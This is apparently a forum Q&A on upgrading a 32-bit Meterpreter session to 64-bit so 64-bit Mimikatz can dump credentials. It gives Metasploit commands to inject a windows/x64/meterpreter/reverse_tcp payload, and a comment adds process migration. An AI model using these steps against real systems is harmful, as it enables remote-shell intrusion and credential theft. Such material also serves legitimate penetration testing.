All the stagers that are sent seem to be 32 bit. This is fine, until I have to run Mimikatz which on a 64 bit system you NEED to run the 64 bit mimikatz. Since the 64 bit Mimikatz won't run on the 32 bit meterpreter, I'm in need of the 64 bit Meterpreter.

1 Answer 1


Just use a 64 bit Meterpreter payload.

For example the windows/x64/meterpreter/reverse_tcp payload.
You can get a 64 bit shell from a 32 bit shell by using the payload_inject module built-in to Metasploit.

You can do this by running the following commands after you already have a 32 bit Meterpreter shell: use windows/local/payload_inject
set payload windows/x64/meterpreter/reverse_tcp

Then setting the other parameters (SESSION, LHOST, LPORT) to yours. Then you get a 64 bit Meterpreter shell!

  • This didnt work for me. Here is the error i got. [-] Exploit aborted due to failure: bad-config: Cannot inject a 64-bit payload into any process on a 32-bit OS Commented May 5, 2020 at 14:19
  • But I was able to migrate to a 64 bit process using the migrate command and I got a 64 bit meterpreter. Commented May 5, 2020 at 14:22

Not the answer you're looking for? Browse other questions tagged .